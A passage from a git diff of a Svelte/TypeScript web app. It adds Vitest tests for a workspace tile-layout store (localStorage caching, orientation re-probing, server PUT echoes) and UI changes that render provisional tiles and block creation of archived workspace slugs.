+ const cached = doc(tile("cached", 0, 2, 2));
+ localStorage.setItem("dispatch.tile-layout.tall", JSON.stringify(cached));
+ const http = fakeHttp();
+ const gate: { release?: (result: TileLayoutHttpResult) => void } = {};
+ http.getLayout = () =>
+ new Promise((resolve) => {
+ gate.release = resolve;
+ });
+ const store = createTileLayoutStore({ http, initialMode: "tall", storage: localStorage });
+ expect(store.entries).toEqual(cached.tiles);
+ expect(store.providerState).toBe("unknown");
+
+ store.sync(["cached", "new"]);
+ store.resize("cached", 1, 1);
+ await settle();
+ expect(http.puts).toEqual([]);
+ expect(JSON.parse(localStorage.getItem("dispatch.tile-layout.tall") ?? "null")).toEqual(cached);
+
+ const fresh = doc(tile("server", 0));
+ gate.release?.({ ok: true, layout: fresh });
+ await settle();
+ expect(store.entries).toEqual(fresh.tiles);
+ expect(store.providerState).toBe("present");
+ expect(http.puts).toEqual([]);
+ expect(JSON.parse(localStorage.getItem("dispatch.tile-layout.tall") ?? "null")).toEqual(fresh);
+ });
+
+ it("resets to the new mode's cache and re-probes on orientation change", async () => {
+ const cached = doc(tile("cached-mobile", 0));
+ localStorage.setItem("dispatch.tile-layout.tall", JSON.stringify(cached));
+ const http = fakeHttp({ wide: doc(tile("desktop", 0)) });
+ const get = vi.spyOn(http, "getLayout");
+ const store = createTileLayoutStore({ http, storage: localStorage });
+ await flushOnly();
+
+ store.setMode("tall");
+ expect(store.providerState).toBe("unknown");
+ expect(store.entries).toEqual(cached.tiles);
+ await flushOnly();
+ expect(store.entries).toEqual([]);
+ expect(get.mock.calls).toEqual([["wide"], ["tall"]]);
+ });
+
+ it("caches server GET, WS push, and successful PUT echoes, never unconfirmed edits", async () => {
+ const http = fakeHttp({ wide: doc(tile("a", 0)) });
+ const store = createTileLayoutStore({ http, storage: localStorage });
+ const cached = () => JSON.parse(localStorage.getItem("dispatch.tile-layout.wide") ?? "null");
+ await flushOnly();
+ expect(cached()).toEqual(doc(tile("a", 0)));
+
+ store.onServerTileLayout("tall", doc(tile("ignored", 0)));
+ expect(localStorage.getItem("dispatch.tile-layout.tall")).toBeNull();
+ store.onServerTileLayout("wide", doc(tile("push", 0)));
+ expect(cached()).toEqual(doc(tile("push", 0)));
+
+ store.resize("push", 2, 2);
+ expect(cached()).toEqual(doc(tile("push", 0)));
+ await settle();
+ expect(cached()).toEqual(doc(tile("push", 0, 2, 2)));
+
+ http.failNext.put = "network down";
+ store.resize("push", 1, 1);
+ await settle();
+ expect(cached()).toEqual(doc(tile("push", 0, 2, 2)));
+ });
+
+ it("caches an in-flight PUT echo under its written mode after an orientation change", async () => {
+ const http = fakeHttp({ wide: doc(tile("desktop", 0)), tall: doc(tile("mobile", 0)) });
+ const gate: { release?: (result: TileLayoutHttpResult) => void } = {};
+ http.putLayout = () =>
+ new Promise((resolve) => {
+ gate.release = resolve;
+ });
+ const store = createTileLayoutStore({ http, storage: localStorage });
+ await flushOnly();
+ store.resize("desktop", 2, 2);
+ await settle();
+ store.setMode("tall");
+ await flushOnly();
+ gate.release?.({ ok: true, layout: doc(tile("desktop", 0, 2, 2)) });
+ await flushOnly();
+ expect(store.entries).toEqual([tile("mobile", 0)]);
+ expect(JSON.parse(localStorage.getItem("dispatch.tile-layout.tall") ?? "null")).toEqual(
+ doc(tile("mobile", 0)),
+ );
+ expect(JSON.parse(localStorage.getItem("dispatch.tile-layout.wide") ?? "null")).toEqual(
+ doc(tile("desktop", 0, 2, 2)),
+ );
+ });
+
+ it.each([
+ "invalid JSON",
+ '{"version":2,"tiles":"bad"}',
+ ])("ignores malformed cache (%s) and supports storageless contexts", (raw) => {
+ localStorage.setItem("dispatch.tile-layout.wide", raw);
+ const store = createTileLayoutStore({ http: fakeHttp(), storage: localStorage });
+ expect(store.entries).toEqual([]);
+ expect(createTileLayoutStore({ http: fakeHttp() }).entries).toEqual([]);
+ });
+
it("sanitizes the server document defensively (a junk shape degrades to empty)", async () => {
const http = fakeHttp();
http.docs.set("wide", { junk: true } as unknown as TileLayoutData);
@@ -120,6 +234,8 @@ describe("createTileLayoutStore", () => {
expect(store.entries.map((t) => t.id)).toEqual(["desktop"]);
store.setMode("tall");
+ expect(store.entries).toEqual([]);
+ expect(store.providerState).toBe("unknown");
await flushOnly();
expect(store.mode).toBe("tall");
expect(store.entries.map((t) => t.id)).toEqual(["mobile"]);
diff --git a/src/features/workspaces/ui/WorkspacesHome.svelte b/src/features/workspaces/ui/WorkspacesHome.svelte
index 630c67f..196e831 100644
--- a/src/features/workspaces/ui/WorkspacesHome.svelte
+++ b/src/features/workspaces/ui/WorkspacesHome.svelte
@@ -12,6 +12,7 @@
import {
DEFAULT_VIEWPORT,
geometryFor,
+ mergeLayout,
pack,
type GridGeometry,
type Span,
@@ -86,11 +87,15 @@
});
// ── The tile canvas' size decides the geometry (ONE pure function — no
- // breakpoint classes). Unmeasured (tests) → the default landscape viewport.
+ // breakpoint classes). Start from the viewport, matching the boot probe;
+ // the canvas measurement then refines it (no transient wide reset on phones).
+ const initialViewport = typeof window === "undefined"
+ ? DEFAULT_VIEWPORT
+ : { width: window.innerWidth, height: window.innerHeight };
let regionEl = $state<HTMLDivElement | undefined>();
let size = $state<{ width: number; height: number } | undefined>();
const geometry: GridGeometry = $derived(
- geometryFor(size?.width ?? DEFAULT_VIEWPORT.width, size?.height ?? DEFAULT_VIEWPORT.height),
+ geometryFor(size?.width ?? initialViewport.width, size?.height ?? initialViewport.height),
);
$effect(() => {
@@ -115,7 +120,12 @@
// The grid view: the SAME persisted data packs into either geometry —
// positions re-derive here, spans clamp for the RENDER only.
- const placements = $derived(pack(tiles.entries, geometry));
+ // Render-only fallback: workspace discovery must not wait for layout GET.
+ // Never sync/commit this provisional arrangement while the probe is unknown.
+ const entries = $derived(tiles.entries.length > 0
+ ? tiles.entries
+ : mergeLayout(null, store.list.map((ws) => ws.id)));
+ const placements = $derived(pack(entries, geometry));
const workspacesById = $derived(new Map(store.list.map((ws) => [ws.id, ws])));
// ── Selection + action bar ─────────────────────────────────────────────────
@@ -215,12 +225,13 @@
if (result.ok) deselect();
}
- // ── Create (header popover): create on the backend — do NOT navigate —
- // place the new tile in the first empty slot, and go straight into rename.
+ // ── Create (header popover): check the slug resolves to no archived
+ // workspace, create on the backend — do NOT navigate — place the new tile in
+ // the first empty slot, and go straight into rename.
async function createWorkspace(
slug: string,
): Promise<{ ok: true } | { ok: false; error: string }> {
- const result = await store.ensure(slug);
+ const result = await store.create(slug);
if (!result.ok) return { ok: false, error: result.error };
await store.refresh();
// Idempotent: if the list refresh's sync already appended the id, this
diff --git a/src/features/workspaces/ui/WorkspacesHome.test.ts b/src/features/workspaces/ui/WorkspacesHome.test.ts
index 6316930..5a66a42 100644
--- a/src/features/workspaces/ui/WorkspacesHome.test.ts
+++ b/src/features/workspaces/ui/WorkspacesHome.test.ts
@@ -4,7 +4,8 @@ import { render, screen, waitFor } from "@testing-library/svelte";
import userEvent from "@testing-library/user-event";
import { describe, expect, it, vi } from "vitest";
import type { WorkspaceHttp, WorkspaceResult } from "../adapter/http";
-import type { TileLayoutHttp } from "../adapter/tile-layout-http";
+import type { TileLayoutHttp, TileLayoutHttpResult } from "../adapter/tile-layout-http";
+import type { WorkspaceLookup } from "../logic/create";
import { createTileLayoutStore } from "../tile-layout-store.svelte";
import WorkspacesHome from "./WorkspacesHome.svelte";
@@ -24,7 +25,10 @@ function ws(overrides: Partial<WorkspaceEntry> = {}): WorkspaceEntry {
}
/** A fake WorkspaceHttp edge with a controllable list (no mocks of our modules). */
-function fakeHttp(list: WorkspaceEntry[] = [ws()]): WorkspaceHttp {
+function fakeHttp(
+ list: WorkspaceEntry[] = [ws()],
+ lookup: (id: string) => Promise<WorkspaceLookup> = async () => ({ kind: "missing" }),
+): WorkspaceHttp {
return {
list: vi.fn(async (): Promise<WorkspaceEntry[]> => list),
// Create-on-miss: the backend persists the new workspace, so the next
@@ -33,7 +37,7 @@ function fakeHttp(list: WorkspaceEntry[] = [ws()]): WorkspaceHttp {
if (!list.some((w) => w.id === id)) list.push(ws({ id, title: id }));
return { ok: true, value: ws({ id, title: id }) };
}),
- get: vi.fn(),
+ get: vi.fn(lookup),
setTitle: vi.fn(),
setDefaultCwd: vi.fn(),
setDefaultComputer: vi.fn(),
@@ -97,6 +101,110 @@ describe("WorkspacesHome (tile canvas)", () => {
expect([...wrappers].map((el) => el.getAttribute("data-tile-id"))).toEqual(["b", "a"]);
});
+ it.each([
+ false,
+ true,
+ ])("renders before the layout probe resolves (cached: %s)", async (cached) => {
+ const layout = memoryLayout();
+ const gate: { release?: (result: TileLayoutHttpResult) => void } = {};
+ layout.getLayout = vi.fn(
+ () =>
+ new Promise<TileLayoutHttpResult>((resolve) => {
+ gate.release = resolve;
+ }),
+ );
+ const put = vi.spyOn(layout, "putLayout");
+ const stored = {
+ version: 2,
+ tiles: [
+ { id: "b", order: 0, colSpan: 2, rowSpan: 2 },
+ { id: "a", order: 1, colSpan: 1, rowSpan: 1 },
+ ],
+ };
+ const storage = cached ? localStorage : undefined;
+ storage?.setItem("dispatch.tile-layout.tall", JSON.stringify(stored));
+ const width = vi.spyOn(window, "innerWidth", "get").mockReturnValue(390);
+ const height = vi.spyOn(window, "innerHeight", "get").mockReturnValue(844);
+ const tiles = createTileLayoutStore({ http: layout, initialMode: "tall", storage });
+ try {
+ render(WorkspacesHome, {
+ props: {
+ store: (await import("../store.svelte")).createWorkspaceStore(
+ fakeHttp([ws(), ws({ id: "b", title: "B" })]),
+ ),
+ onNavigate: vi.fn(),
+ computers: [],
+ tiles,
+ },
+ });
+ await screen.findByRole("button", { name: "Open workspace A" });
+ await screen.findByRole("button", { name: "Open workspace B" });
+ expect(
+ [...document.querySelectorAll("[data-tile-id]")].map((el) =>
+ el.getAttribute("data-tile-id"),
+ ),
+ ).toEqual(cached ? ["b", "a"] : ["a", "b"]);
+ expect(tiles.providerState).toBe("unknown");
+ expect(tiles.entries).toEqual(cached ? stored.tiles : []);
+ expect(layout.getLayout).toHaveBeenCalledExactlyOnceWith("tall");
+ expect(put).not.toHaveBeenCalled();
+ gate.release?.({
+ ok: true,
+ layout: {
+ version: 2,
+ tiles: stored.tiles
+ .slice()
+ .reverse()
+ .map((tile, order) => ({ ...tile, order })),
+ },
+ });
+ await waitFor(() => {
+ expect(tiles.providerState).toBe("present");
+ expect(tiles.entries.map((tile) => tile.id)).toEqual(["a", "b"]);
+ // CSS-grid coordinates determine visual order; keyed DOM nodes may stay put.
+ expect(document.querySelector('[data-tile-id="a"]')).toHaveStyle("grid-row: 1 / span 1");
+ expect(document.querySelector('[data-tile-id="b"]')).toHaveStyle("grid-row: 2 / span 2");
+ });
+ } finally {
+ width.mockRestore();
+ height.mockRestore();
+ storage?.removeItem("dispatch.tile-layout.tall");
+ }
+ });
+
+ it("re-probes when the canvas changes orientation", async () => {
+ let measure: ResizeObserverCallback = () => {};
+ const observer = vi.spyOn(globalThis, "ResizeObserver").mockImplementation((callback) => {
+ measure = callback;
+ return { observe() {}, unobserve() {}, disconnect() {} };
+ });
+ const layout = memoryLayout();
+ const get = vi.spyOn(layout, "getLayout");
+ const tiles = createTileLayoutStore({ http: layout });
+ try {
+ render(WorkspacesHome, {
+ props: {
+ store: (await import("../store.svelte")).createWorkspaceStore(fakeHttp()),
+ onNavigate: vi.fn(),
+ computers: [],
+ tiles,
+ },
+ });
+ await screen.findByRole("button", { name: "Open workspace A" });
+ measure(
+ [{ contentRect: { width: 390, height: 700 } }] as ResizeObserverEntry[],
+ {} as ResizeObserver,
+ );
+ await waitFor(() => {
+ expect(tiles.mode).toBe("tall");
+ expect(get.mock.calls).toEqual([["wide"], ["tall"]]);
+ });
+ await screen.findByRole("button", { name: "Open workspace A" });
+ } finally {
+ observer.mockRestore();
+ }
+ });
+
it("clicking a tile navigates to the workspace path", async () => {
const user = userEvent.setup();
const onNavigate = vi.fn();
@@ -140,6 +248,36 @@ describe("WorkspacesHome (tile canvas)", () => {
expect(store.list.map((w) => w.id)).toContain("fresh-ws");
});
+ it("refuses to create an archived slug: message in the popover, form stays open, no tile", async () => {
+ const user = userEvent.setup();
+ const list = [ws({ id: "a", title: "A" })];
+ const http = fakeHttp(list, async (id) => ({
+ kind: "found",
+ workspace: ws({ id, title: id, archived: true }),
+ }));
+ const store = (await import("../store.svelte")).createWorkspaceStore(http);
+ render(WorkspacesHome, {
+ props: {
+ store,
+ onNavigate: vi.fn(),
+ computers: [],
+ tiles: createTileLayoutStore({ http: memoryLayout() }),
+ },
+ });
+
+ await screen.findByRole("button", { name: "Open workspace A" });
+ await user.click(screen.getByRole("button", { name: "New workspace" }));
+ await user.type(screen.getByRole("textbox", { name: "New workspace" }), "old-ws{Enter}");
+
+ expect(await screen.findByText(/already exists and is archived/)).toBeInTheDocument();
+ // The popover stays open (the form/input is still mounted).
+ expect(screen.getByRole("textbox", { name: "New workspace" })).toBeInTheDocument();
+ // Nothing was ensured, no tile appeared, and no rename mode was entered.
+ expect(http.ensure).not.toHaveBeenCalled();
+ expect(store.list.map((w) => w.id)).toEqual(["a"]);
+ expect(screen.queryByLabelText("Workspace title")).toBeNull();
+ });
+
it("right-clicking a tile opens the action bar; Delete keeps the confirm + store call", async () => {
const user = userEvent.setup();
const confirmSpy = vi.spyOn(window, "confirm").mockReturnValue(true);